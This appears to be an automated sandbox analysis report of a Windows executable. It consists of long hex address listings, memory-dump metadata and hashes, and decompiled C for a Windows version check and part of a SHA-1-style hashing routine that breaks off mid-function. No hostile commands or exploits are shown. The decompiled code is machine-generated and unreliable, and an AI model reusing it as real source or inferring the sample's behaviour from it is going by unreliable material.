0x0040f4c0
0x00000000
0x0040f4c2
0x0040f4c2
0x00000000
0x0040f4c2
0x00000000
0x0040f4c0
0x00000000
0x0040f4a0
0x0040f49b
0x0040f408
0x0040f40a
0x0040f40d
0x0040f410
0x0040f413
0x0040f417
0x0040f419
0x0040f444
0x0040f444
0x0040f448
0x0040f44c
0x0040f44f
0x0040f453
0x0040f455
0x0040f457
0x0040f45b
0x0040f45d
0x0040f5be
0x0040f5be
0x0040f5c2
0x0040f5c9
0x00000000
0x0040f463
0x0040f468
0x0040f46c
0x0040f46e
0x0040f471
0x0040f474
0x0040f477
0x0040f47a
0x0040f540
0x0040f543
0x0040f546
0x0040f54a
0x0040f54e
0x0040f552
0x0040f554
0x00000000
0x0040f556
0x0040f556
0x0040f55a
0x0040f55c
0x0040f55e
0x0040f562
0x0040f562
0x0040f565
0x0040f56a
0x0040f56d
0x0040f56d
0x0040f56d
0x0040f562
0x0040f570
0x0040f574
0x00000000
0x0040f574
0x0040f554
0x0040f41b
0x0040f420
0x0040f420
0x0040f422
0x00000000
0x00000000
0x0040f428
0x0040f42b
0x0040f42d
0x0040f42f
0x0040f430
0x0040f432
0x0040f436
0x0040f439
0x0040f43d
0x0040f43e
0x0040f442
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f442
0x00000000
0x0040f420
0x0040f419
0x0040f3e3
0x0040f3e3
0x0040f3e6
0x0040f3e9
0x0040f3ed
0x0040f3ef
0x0040f3f1
0x0040f3f5
0x0040f3f9
0x0040f3fe
0x00000000
0x0040f3fe
0x0040f390
0x0040f390
0x0040f390
0x0040f392
0x00000000
0x00000000
0x0040f398
0x0040f39b
0x0040f39d
0x0040f39f
0x0040f3a4
0x0040f3a6
0x0040f3a7
0x0040f3ab
0x0040f3ae
0x0040f3af
0x0040f3b3
0x0040f3b7
0x0040f3b9
0x0040f3bf
0x0040f3c0
0x0040f3c2
0x0040f3c5
0x0040f3ca
0x0040f3cd
0x0040f3d0
0x0040f3d4
0x0040f3d6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3d6
0x00000000
0x0040f390
0x00000000
0x0040f578
0x0040f578
0x0040f57b
0x0040f57e
0x0040f581
0x0040f585
0x0040f585
0x0040f58d
0x00000000
0x0040f58d
0x00000000
0x00000000
0x0040f699
0x0040f699
0x00000000
0x00000000
0x0040f69f
0x0040f69f
0x0040f6a2
0x0040f711
0x0040f711
0x0040f714
0x0040f717
0x0040f720
0x0040f722
0x0040f726
0x0040f728
0x0040f732
0x0040f737
0x0040f73a
0x0040f73d
0x0040f73f
0x0040f784
0x0040f784
0x0040f786
0x0040f850
0x0040f852
0x0040f855
0x0040f858
0x0040f85e
0x0040f860
0x0040f862
0x0040f864
0x0040f867
0x0040f86b
0x0040f86e
0x0040f870
0x0040f87d
0x0040f87f
0x0040f896
0x0040f898
0x0040f8b0
0x0040f8b3
0x0040f8b3
0x0040f8b6
0x0040f8bc
0x00000000
0x0040f89a
0x0040f89a
0x0040f89e
0x0040f8a5
0x00000000
0x0040f8a5
0x0040f881
0x0040f881
0x0040f88b
0x00000000
0x0040f88b
0x0040f872
0x0040f872
0x00000000
0x0040f872
0x0040f78c
0x0040f78c
0x0040f78e
0x00000000
0x0040f794
0x0040f794
0x0040f796
0x0040f79b
0x0040f79e
0x0040f7a0
0x0040f7a3
0x0040f7aa
0x0040f7ac
0x0040f7af
0x0040f7b1
0x0040f7b3
0x0040f7b4
0x0040f7bc
0x0040f7be
0x0040f7c2
0x0040f7c4
0x0040f7c9
0x0040f7cc
0x0040f7d3
0x0040f7d6
0x0040f7d8
0x0040f7da
0x0040f837
0x0040f837
0x0040f83b
0x0040f83f
0x0040f842
0x0040f846
0x0040f848
0x0040f848
0x0040f84a
0x00000000
0x0040f7e0
0x0040f7e0
0x0040f7e0
0x0040f7e2
0x00000000
0x00000000
0x0040f7e8
0x0040f7ec
0x0040f7ee
0x0040f7f3
0x0040f7f6
0x0040f7f7
0x0040f7fa
0x0040f7fd
0x0040f801
0x0040f806
0x0040f80a
0x0040f810
0x0040f812
0x0040f814
0x0040f817
0x0040f81d
0x0040f823
0x0040f826
0x0040f82b
0x0040f831
0x0040f833
0x0040f835
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f835
0x00000000
0x0040f7e0
0x0040f7da
0x0040f78e
0x0040f741
0x0040f741
0x0040f741
0x0040f743
0x00000000
0x00000000
0x0040f749
0x0040f74c
0x0040f74e
0x0040f750
0x0040f751
0x0040f754
0x0040f756
0x0040f759
0x0040f75c
0x0040f760
0x0040f761
0x0040f766
0x0040f76c
0x0040f76d
0x0040f771
0x0040f774
0x0040f776
0x0040f77d
0x0040f780
0x0040f782
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f782
0x00000000
0x0040f741
0x0040f6a4
0x0040f6a4
0x0040f6ac
0x00000000
0x0040f6ae
0x0040f6ae
0x0040f6b2
0x0040f6b6
0x0040f6b9
0x0040f6bd
0x0040f6c0
0x0040f6c2
0x0040f6c5
0x0040f6c6
0x0040f6c9
0x0040f6cc
0x0040f6d1
0x0040f6d5
0x0040f6d8
0x0040f6db
0x0040f6de
0x0040f6e1
0x0040f6e4
0x0040f6e6
0x0040f6e9
0x0040f6ed
0x0040f6f0
0x0040f6f4
0x0040f6f8
0x0040f6fc
0x0040f702
0x0040f702
0x00000000
0x0040f6fc
0x0040f6ac
0x00000000
0x00000000
0x0040f8bf
0x0040f8bf
0x0040f8c2
0x0040f8c4
0x0040f910
0x0040f910
0x0040f913
0x0040f919
0x00000000
0x0040f8c6
0x0040f8c6
0x0040f8c8
0x0040f8f5
0x0040f8f5
0x0040f8fa
0x0040f8fe
0x0040f8ff
0x0040f901
0x0040f903
0x0040f906
0x0040f906
0x0040f906
0x0040f90c
0x00000000
0x0040f8d0
0x0040f8d0
0x0040f8d0
0x0040f8d2
0x00000000
0x00000000
0x0040f8d8
0x0040f8db
0x0040f8dd
0x0040f8df
0x0040f8e0
0x0040f8e3
0x0040f8e5
0x0040f8e8
0x0040f8ec
0x0040f8ed
0x0040f8f1
0x0040f8f3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f8f3
0x00000000
0x0040f8d0
0x0040f8c8
0x00000000
0x00000000
0x0040f91f
0x0040f91f
0x0040f922
0x0040f925
0x0040f92e
0x0040f930
0x0040f934
0x0040f936
0x0040f93b
0x0040f93e
0x0040f941
0x0040f943
0x0040f988
0x0040f988
0x0040f98a
0x0040fa44
0x0040fa44
0x0040fa4a
0x0040fa4d
0x0040fa50
0x0040fa56
0x0040fa58
0x0040fa5a
0x0040fa5e
0x0040fa60
0x0040fa78
0x0040fa7a
0x0040fa80
0x0040fa83
0x0040fa86
0x0040fa86
0x0040fa89
0x0040fa8c
0x00000000
0x0040fa62
0x0040fa62
0x0040fa66
0x0040fa6d
0x00000000
0x0040fa6d
0x0040f990
0x0040f990
0x0040f992
0x0040f997
0x0040f99a
0x0040f99c
0x0040f99f
0x0040f9a6
0x0040f9a8
0x0040f9ab
0x0040f9ad
0x0040f9af
0x0040f9b0
0x0040f9b8
0x0040f9ba
0x0040f9be
0x0040f9c0
0x0040f9c5
0x0040f9c8
0x0040f9cf
0x0040f9d2
0x0040f9d4
0x0040f9d6
0x0040fa2f
0x0040fa2f
0x0040fa33
0x0040fa36
0x0040fa3a
0x0040fa3c
0x0040fa3e
0x0040fa3e
0x0040fa3e
0x00000000
0x0040f9d8
0x0040f9d8
0x0040f9d8
0x0040f9da
0x00000000
0x00000000
0x0040f9e0
0x0040f9e4
0x0040f9e6
0x0040f9eb
0x0040f9ee
0x0040f9ef
0x0040f9f2
0x0040f9f5
0x0040f9f9
0x0040f9fe
0x0040fa02
0x0040fa08
0x0040fa0a
0x0040fa0c
0x0040fa0f
0x0040fa15
0x0040fa1b
0x0040fa1e
0x0040fa23
0x0040fa29
0x0040fa2b
0x0040fa2d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa2d
0x00000000
0x0040f9d8
0x0040f9d6
0x0040f945
0x0040f945
0x0040f945
0x0040f947
0x00000000
0x00000000
0x0040f94d
0x0040f950
0x0040f952
0x0040f954
0x0040f955
0x0040f958
0x0040f95a
0x0040f95d
0x0040f960
0x0040f964
0x0040f965
0x0040f96a
0x0040f970
0x0040f971
0x0040f975
0x0040f978
0x0040f97a
0x0040f981
0x0040f984
0x0040f986
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f986
0x00000000
0x0040f945
0x00000000
0x00000000
0x0040fa8f
0x0040fa8f
0x0040fa92
0x0040fa94
0x0040fae0
0x0040fae0
0x00000000
0x0040fa96
0x0040fa96
0x0040fa98
0x0040fac5
0x0040fac5
0x0040faca
0x0040face
0x0040facf
0x0040fad1
0x0040fad3
0x0040fad6
0x0040fad6
0x0040fad6
0x0040fadc
0x00000000
0x0040faa0
0x0040faa0
0x0040faa0
0x0040faa2
0x00000000
0x00000000
0x0040faa8
0x0040faab
0x0040faad
0x0040faaf
0x0040fab0
0x0040fab3
0x0040fab5
0x0040fab8
0x0040fabc
0x0040fabd
0x0040fac1
0x0040fac3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fac3
0x00000000
0x0040faa0
0x0040fa98
0x00000000
0x00000000
0x0040fae6
0x0040fae6
0x0040faea
0x0040faec
0x00000000
0x0040faf2
0x0040faf2
0x0040faf6
0x0040faf8
0x0040fafb
0x0040fafd
0x0040fb4d
0x0040fb51
0x0040fb51
0x0040fb53
0x0040fb57
0x00000000
0x0040faff
0x0040faff
0x0040fb01
0x0040fb04
0x0040fb25
0x0040fb25
0x0040fb28
0x0040fb2a
0x0040fb3b
0x0040fb3d
0x0040fb3d
0x0040fb2c
0x0040fb2c
0x0040fb31
0x0040fb34
0x0040fb34
0x0040fb40
0x0040fb44
0x0040fb47
0x0040fb49
0x0040fb5a
0x0040fb5a
0x0040fb5a
0x0040fb5c
0x0040fb60
0x0040fb62
0x0040fb62
0x0040fb66
0x0040fb6a
0x0040fb6c
0x0040fb70
0x0040fb73
0x0040fb77
0x0040fb77
0x0040fb80
0x0040fb80
0x0040fb83
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb86
0x0040fb89
0x0040fb8d
0x0040fb91
0x0040fb95
0x0040fb98
0x0040fb9e
0x0040fb9e
0x0040f1a6
0x0040f1a6
0x0040fb06
0x0040fb06
0x0040fb0d
0x00000000
0x0040fb0f
0x0040fb0f
0x0040fb13
0x0040fb1a
0x0040fb1a
0x0040fb0d
0x0040fb04
0x00000000
0x0040fafd
0x00000000
0x00000000
0x0040fba9
0x0040fbae
0x00000000
0x0040fbb4
0x0040fbb4
0x0040fbb8
0x0040fbbb
0x0040fbbf
0x0040fbc3
0x0040fbc5
0x0040fbc9
0x00000000
0x0040fbc9
0x00000000
0x00000000
0x0040fbd4
0x0040fbd8
0x0040fbd9
0x0040fbdb
0x0040fbdd
0x0040fbdd
0x0040fbdd
0x00000000
0x0040fcac
0x0040fcb0
0x0040fd2c
0x0040fd2c
0x00000000
0x0040fcb2
0x0040fcb2
0x0040fcb6
0x00000000
0x0040fcb8
0x0040fcb8
0x0040fcbb
0x0040fce3
0x0040fce3
0x0040fce6
0x0040fd24
0x0040fd26
0x0040fd26
0x0040fd28
0x00000000
0x0040fce8
0x0040fce8
0x0040fcec
0x0040fcf3
0x00000000
0x0040fcf3
0x0040fcc0
0x0040fcc0
0x0040fcc0
0x0040fcc2
0x00000000
0x00000000
0x0040fcc8
0x0040fccb
0x0040fccd
0x0040fccf
0x0040fcd0
0x0040fcd2
0x0040fcd6
0x0040fcd9
0x0040fcdd
0x0040fcde
0x0040fce1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fce1
0x00000000
0x0040fcc0
0x0040fcbb
0x0040fcb6
0x00000000
0x00000000
0x0040fd32
0x0040fd32
0x00000000
0x00000000
0x0040fd3f
0x0040ed61
0x0040ed61
0x0040ed65
0x0040ed65
0x0040ed69
0x0040ed69
0x0040ed71
0x0040ed75
0x0040ed7c
0x0040ed83
0x0040ed86
0x0040ed8a
0x0040ed8c
0x0040ed90
0x0040ed93
0x0040ed96
0x0040edba
0x0040edc4
0x0040edc9
0x0040edcc
0x0040edce
0x0040fd67
0x00000000
0x0040edd4
0x0040edd4
0x00000000
0x0040edd4
0x0040ed98
0x0040ed98
0x0040ed9b
0x0040fd6b
0x0040fd6f
0x0040fd72
0x0040fd75
0x0040fd78
0x0040fd7b
0x0040fd7e
0x0040fd82
0x0040fd86
0x0040fdc4
0x0040fdc4
0x0040fd88
0x0040fd88
0x0040fd8a
0x00000000
0x0040fd8c
0x0040fd8f
0x0040fd92
0x0040fd96
0x0040fd97
0x0040fd9a
0x0040fdb0
0x0040fdb5
0x0040fdb9
0x0040fdbc
0x0040fdbf
0x0040fd9c
0x0040fd9c
0x0040fda1
0x0040fda5
0x0040fda8
0x0040fdab
0x0040fdab
0x0040fd9a
0x0040fd8a
0x0040fdc8
0x0040fdca
0x0040fdcd
0x0040fdd8
0x0040fdd8
0x0040fdcf
0x0040fdcf
0x0040fdd2
0x00000000
0x0040fdd4
0x0040fdd4
0x0040fdd4
0x0040fdd2
0x0040fde2
0x0040fdfc
0x0040fe01
0x0040fe04
0x0040fe0a
0x0040fe0a
0x0040fe0f
0x0040fe35
0x00000000
0x00000000
0x00000000
0x0040fe06
0x0040fe06
0x0040fe08
0x0040fe11
0x0040fe11
0x0040fe15
0x0040fe17
0x00000000
0x0040fe1d
0x0040fe29
0x0040fe29
0x00000000
0x00000000
0x00000000
0x0040fe08
0x0040eda1
0x0040eda1
0x0040eda3
0x0040eda6
0x00000000
0x0040edac
0x0040edac
0x0040edaf
0x00000000
0x0040edb1
0x0040edb1
0x0040edb4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040edb4
0x0040edaf
0x0040eda6
0x0040ed9b
0x00000000
0x00000000
0x0040edda
0x0040edda
0x0040eddf
0x0040ede6
0x00000000
0x00000000
0x0040f1aa
0x0040f1aa
0x0040f1ac
0x00000000
0x0040e890
0x0040e87a
0x0040e819
0x00000000

Strings

D0A, xrefs: 0040EEDF

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: D0A
API String ID: 0-1448066043
Opcode ID: f57bfb8e2b38a961d0c52b080ba4d4fa78b77839d7f02fd2cf2f7378c8d107cc
Instruction ID: 3032e7bda0a6bb374980cfe40a7480182f82bc0fd44c0d8c6c0f9fc434d1da9a
Opcode Fuzzy Hash: f57bfb8e2b38a961d0c52b080ba4d4fa78b77839d7f02fd2cf2f7378c8d107cc
Instruction Fuzzy Hash: A3429C716043029FD718CF2AC48471ABBE1FF84304F144A7EE855AB791D379E9A6CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040559A, Relevance: 3.1, APIs: 2, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040559A() {
				void* _v2;
				struct _OSVERSIONINFOW _v284;
				char _v286;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v568;
				struct _OSVERSIONINFOW _v844;
				void* _t18;
				intOrPtr _t19;
				signed int _t25;
				void* _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				intOrPtr _t32;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t36;
				void* _t37;
				void* _t38;
				void* _t40;
				signed int _t56;
				void* _t63;

				_v844.dwOSVersionInfoSize = 0x114;
				_t40 = 0xc8;
				_t25 = 0;
				_t32 = 0;
				if(GetVersionExW( &_v844) == 0) {
					L39:
					return _t40;
				}
				_t18 = _v844.dwPlatformId - 1;
				if(_t18 == 0) {
					_t19 = _v844.dwMinorVersion;
					if(_t19 == 0) {
						_push(0xa);
						L38:
						_pop(_t40);
						goto L39;
					}
					if(_t19 == 0xa) {
						_push(0x1e);
						goto L38;
					}
					if(_t19 != 0x5a) {
						goto L39;
					}
					_push(0x28);
					goto L38;
				}
				if(_t18 != 1) {
					goto L39;
				}
				_t56 = 0;
				if(E00405553( &_v568) == 0) {
					_v284.dwOSVersionInfoSize = 0x11c;
					if(GetVersionExW( &_v284) == 0) {
						goto L9;
					} else {
						_t25 = _v844.dwMajorVersion;
						_t32 = _v844.dwMinorVersion;
						goto L7;
					}
				} else {
					_t25 = _v564;
					_t32 = _v560;
					_t63 = _v286 - 1;
					L7:
					if(_t63 == 0) {
						_t56 = 1;
					}
					L9:
					_t26 = _t25 - 3;
					if(_t26 == 0) {
						_push(5);
						goto L38;
					}
					_t27 = _t26 - 1;
					if(_t27 == 0) {
						_push(0x14);
						goto L38;
					}
					_t28 = _t27 - 1;
					if(_t28 == 0) {
						_t33 = _t32;
						if(_t33 == 0) {
							_push(0x32);
							goto L38;
						}
						_t34 = _t33 - 1;
						if(_t34 == 0) {
							_push(0x3c);
							goto L38;
						}
						if(_t34 == 1) {
							asm("sbb esi, esi");
							_t40 = ( ~_t56 & 0xfffffffb) + 0x41;
						}
						goto L39;
					}
					_t29 = _t28 - 1;
					if(_t29 == 0) {
						_t36 = _t32;
						if(_t36 == 0) {
							asm("sbb esi, esi");
							_t40 = ( ~_t56 & 0xfffffffb) + 0x4b;
						} else {
							_t37 = _t36 - 1;
							if(_t37 == 0) {
								asm("sbb esi, esi");
								_t40 = ( ~_t56 & 0xfffffffb) + 0x55;
							} else {
								_t38 = _t37 - 1;
								if(_t38 == 0) {
									asm("sbb esi, esi");
									_t40 = ( ~_t56 & 0xfffffffb) + 0x5f;
								} else {
									if(_t38 == 1) {
										asm("sbb esi, esi");
										_t40 = ( ~_t56 & 0xfffffffb) + 0x69;
									}
								}
							}
						}
						goto L39;
					}
					if(_t29 != 4 || _t32 != 0) {
						goto L39;
					} else {
						_push(0x6e);
						goto L38;
					}
				}
			}

0x004055a8
0x004055b1
0x004055b6
0x004055b8
0x004055c2
0x004056f3
0x004056fe
0x004056fe
0x004055cc
0x004055cd
0x004056d5
0x004056db
0x004056ef
0x004056f1
0x004056f1
0x00000000
0x004056f1
0x004056e0
0x004056eb
0x00000000
0x004056eb
0x004056e5
0x00000000
0x00000000
0x004056e7
0x00000000
0x004056e7
0x004055d4
0x00000000
0x00000000
0x004055e1
0x004055ec
0x0040560d
0x00405621
0x00000000
0x00405623
0x00405623
0x00405627
0x00000000
0x0040562b
0x004055ee
0x004055ee
0x004055f5
0x004055fc
0x00405633
0x00405633
0x00405637
0x00405637
0x00405638
0x00405638
0x0040563b
0x004056d1
0x00000000
0x004056d1
0x00405641
0x00405642
0x004056cd
0x00000000
0x004056cd
0x00405648
0x00405649
0x004056ac
0x004056af
0x004056c9
0x00000000
0x004056c9
0x004056b1
0x004056b2
0x004056c5
0x00000000
0x004056c5
0x004056b5
0x004056bb
0x004056c0
0x004056c0
0x00000000
0x004056b5
0x0040564b
0x0040564c
0x00405666
0x00405669
0x004056a2
0x004056a7
0x0040566b
0x0040566b
0x0040566c
0x00405694
0x00405699
0x0040566e
0x0040566e
0x0040566f
0x00405686
0x0040568b
0x00405671
0x00405672
0x00405678
0x0040567d
0x0040567d
0x00405672
0x0040566f
0x0040566c
0x00000000
0x00405669
0x00405651
0x00000000
0x0040565f
0x0040565f
0x00000000
0x0040565f
0x00405651

APIs

GetVersionExW.KERNEL32(?), ref: 004055BA

Part of subcall function 00405553: memset.MSVCRT ref: 00405562
Part of subcall function 00405553: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
Part of subcall function 00405553: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581

GetVersionExW.KERNEL32(?), ref: 00405619

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Version$AddressHandleModuleProcmemset
String ID:
API String ID: 3445250173-0
Opcode ID: ca349debe630e03ede182743978b1f9189fac21bd2c91363668e2a3dcb67b5c8
Instruction ID: 346969f53e1e5ba9765839da7690ba5b2fc2a1c3f22f39825daa73f0edc6c901
Opcode Fuzzy Hash: ca349debe630e03ede182743978b1f9189fac21bd2c91363668e2a3dcb67b5c8
Instruction Fuzzy Hash: 1F310336E04E6583D63085188C54BA36294D7417A0FDA0F37EDDDB72C0D67F8D45AE8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2E7, Relevance: 2.9, APIs: 1, Instructions: 1619
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E0040B2E7() {
				void* _t659;
				void* _t660;
				signed int _t795;
				signed int _t804;
				signed int* _t809;
				signed int _t814;
				signed int _t819;
				signed int* _t824;
				signed int* _t828;
				signed int* _t832;
				signed int* _t836;
				signed int* _t841;
				signed int* _t845;
				signed int* _t849;
				signed int* _t853;
				signed int* _t858;
				signed int* _t862;
				signed int* _t866;
				signed int _t873;
				signed int _t881;
				signed int* _t885;
				signed int _t889;
				signed int _t894;
				signed int _t899;
				signed int _t903;
				signed int _t907;
				signed int _t911;
				signed int _t915;
				signed int _t919;
				signed int _t923;
				signed int _t927;
				signed int _t931;
				signed int _t935;
				signed int _t939;
				signed int _t943;
				signed int _t947;
				signed int _t953;
				signed int _t957;
				signed int _t961;
				signed int _t964;
				signed int _t966;
				signed int* _t969;
				signed int* _t972;
				signed int _t978;
				signed int _t984;
				signed int _t990;
				signed int _t996;
				signed int* _t997;
				signed int* _t1003;
				signed int* _t1009;
				signed int _t1018;
				signed int _t1025;
				signed int* _t1026;
				signed int _t1032;
				signed int _t1038;
				signed int* _t1044;
				signed int* _t1050;
				signed int* _t1056;
				signed int* _t1062;
				signed int* _t1068;
				signed int* _t1074;
				signed int* _t1080;
				signed int _t1089;
				void* _t1094;
				signed int _t1097;
				signed int _t1099;
				signed int _t1100;
				signed int _t1103;
				signed int _t1106;
				signed int _t1107;
				signed int _t1109;
				signed int _t1111;
				signed int _t1113;
				signed int* _t1115;
				signed int _t1116;
				signed int _t1117;
				signed int _t1118;
				signed int _t1119;
				signed int _t1120;
				signed int _t1121;
				signed int _t1123;
				signed int _t1125;
				signed int _t1126;
				signed int _t1127;
				signed int _t1132;
				signed int _t1134;
				signed int _t1197;
				signed int* _t1225;
				signed int* _t1229;
				signed int* _t1235;
				signed int* _t1238;
				void* _t1243;
				signed int _t1246;
				void* _t1249;
				signed int _t1252;
				void* _t1255;
				signed int _t1258;
				void* _t1261;
				signed int _t1264;
				void* _t1267;
				signed int _t1270;
				void* _t1273;
				signed int* _t1274;
				signed int* _t1277;
				signed int _t1281;
				void* _t1284;
				signed int _t1286;
				signed int* _t1289;
				signed int* _t1296;
				signed int* _t1303;
				signed int* _t1310;
				signed int* _t1317;
				signed int* _t1324;
				signed int* _t1331;
				signed int* _t1338;
				signed int* _t1345;
				signed int* _t1352;
				signed int* _t1359;
				signed int _t1369;
				signed int* _t1376;
				signed int* _t1380;
				signed int _t1387;
				signed int _t1394;
				signed int* _t1401;
				signed int* _t1408;
				signed int* _t1428;
				signed int* _t1430;
				signed int* _t1432;
				signed int* _t1435;
				void* _t1438;
				signed int _t1439;
				signed int* _t1440;
				signed int _t1445;
				signed int* _t1448;
				signed int* _t1458;
				intOrPtr* _t1461;
				signed int* _t1462;
				signed int _t1465;
				signed int _t1466;
				signed int _t1470;
				signed int _t1473;
				signed int _t1477;
				signed int _t1481;
				signed int _t1485;
				signed int _t1488;
				signed int _t1492;
				signed int _t1497;
				signed int _t1502;
				signed int _t1506;
				signed int _t1510;
				signed int _t1514;
				signed int _t1518;
				signed int _t1522;
				signed int _t1526;
				signed int _t1530;
				signed int _t1534;
				signed int _t1538;
				signed int _t1542;
				signed int _t1546;
				void* _t1549;
				signed int _t1553;
				signed int _t1557;
				signed int _t1561;
				signed int* _t1573;
				signed int* _t1577;
				signed int* _t1579;
				signed int _t1588;
				signed int _t1592;
				signed int _t1596;
				signed int _t1600;
				signed int* _t1602;
				signed int _t1606;
				signed int _t1610;
				signed int _t1614;
				signed int _t1616;
				signed int _t1620;
				signed int _t1624;
				signed int _t1628;
				signed int _t1632;
				signed int _t1637;
				signed int _t1642;
				signed int _t1646;
				signed int _t1650;
				signed int _t1654;
				signed int _t1658;
				void* _t1660;
				signed int _t1662;
				signed int _t1664;
				signed int _t1665;
				signed int _t1669;
				signed int _t1672;
				signed int _t1675;
				signed int _t1678;
				signed int _t1679;
				signed int _t1681;
				signed int _t1683;
				signed int _t1685;
				signed int* _t1687;
				signed int _t1688;
				signed int _t1689;
				signed int _t1690;
				signed int _t1691;
				signed int _t1692;
				signed int _t1693;
				signed int _t1695;
				signed int _t1697;
				signed int _t1699;
				signed int* _t1700;
				signed int _t1702;
				signed int _t1704;
				signed int _t1707;
				signed int _t1709;
				signed int _t1710;
				signed int _t1712;
				signed int _t1715;
				signed int _t1716;
				signed int _t1718;
				signed int _t1720;
				signed int _t1722;
				signed int _t1724;
				signed int _t1729;
				signed int _t1733;
				signed int _t1737;
				signed int _t1741;
				signed int _t1745;
				signed int _t1749;
				signed int _t1753;
				signed int _t1757;
				signed int _t1761;
				signed int _t1765;
				signed int _t1769;
				signed int _t1773;
				signed int _t1777;
				signed int _t1781;
				signed int _t1785;
				signed int _t1789;
				signed int _t1793;
				signed int _t1797;
				signed int _t1801;
				signed int _t1803;
				signed int _t1804;
				signed int _t1805;
				signed int _t1808;
				signed int _t1810;
				signed int _t1813;
				signed int _t1815;
				signed int _t1816;
				signed int _t1819;
				signed int _t1822;
				signed int _t1823;
				signed int _t1824;
				signed int _t1825;
				signed int _t1827;
				signed int _t1828;
				signed int _t1829;
				signed int _t1830;
				signed int _t1831;
				signed int _t1833;
				signed int _t1835;
				signed int _t1838;
				signed int _t1840;
				signed int _t1842;
				signed int _t1844;
				signed int _t1846;
				void* _t1849;

				_t659 =  *(_t1849 + 0xc);
				if(_t659 == 0) {
					_t660 =  *(_t1849 + 0x54);
					 *(_t1849 + 0x58) = _t660;
				} else {
					memcpy(_t659,  *(_t1849 + 0x58), 0x40);
					_t660 =  *(_t1849 + 0x64);
					_t1849 = _t1849 + 0xc;
				}
				_t1462 =  *(_t1849 + 0x50);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x3c) =  *_t660 & 0xff00ff00 |  *_t660 & 0x00ff00ff;
				_t1097 = _t1462[1];
				_t1813 =  *_t1462;
				asm("rol ecx, 0x5");
				_t1707 = _t1462[3];
				_t1662 = _t1462[2];
				asm("ror ebx, 0x2");
				_t1465 = _t1462[4] + 0x5a827999 + ((_t1707 ^ _t1662) & _t1097 ^ _t1707) + _t1813 +  *(_t1849 + 0x44);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x50) = ( *(_t1849 + 0x68))[1] & 0xff00ff00 | ( *(_t1849 + 0x68))[1] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				_t1709 = _t1707 + 0x5a827999 + ((_t1662 ^ _t1097) & _t1813 ^ _t1662) + _t1465 +  *(_t1849 + 0x50);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x38) = ( *(_t1849 + 0x68))[2] & 0xff00ff00 | ( *(_t1849 + 0x68))[2] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror edx, 0x2");
				_t1664 = _t1662 + 0x5a827999 + ((_t1097 ^ _t1813) & _t1465 ^ _t1097) + _t1709 +  *(_t1849 + 0x38);
				asm("ror ecx, 0x8");
				asm("rol eax, 0x8");
				 *(_t1849 + 0x14) = ( *(_t1849 + 0x68))[3] & 0xff00ff00 | ( *(_t1849 + 0x68))[3] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror esi, 0x2");
				_t1099 = _t1097 + 0x5a827999 + ((_t1465 ^ _t1813) & _t1709 ^ _t1813) + _t1664 +  *(_t1849 + 0x14);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x10) = ( *(_t1849 + 0x68))[4] & 0xff00ff00 | ( *(_t1849 + 0x68))[4] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror edi, 0x2");
				_t1815 = _t1813 + 0x5a827999 + ((_t1465 ^ _t1709) & _t1664 ^ _t1465) + _t1099 +  *(_t1849 + 0x10);
				asm("ror ecx, 0x8");
				asm("rol eax, 0x8");
				 *(_t1849 + 0x3c) = ( *(_t1849 + 0x68))[5] & 0xff00ff00 | ( *(_t1849 + 0x68))[5] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t1466 = _t1465 + ((_t1709 ^ _t1664) & _t1099 ^ _t1709) + _t1815 + 0x5a827999 +  *(_t1849 + 0x3c);
				asm("ror ecx, 0x8");
				asm("rol eax, 0x8");
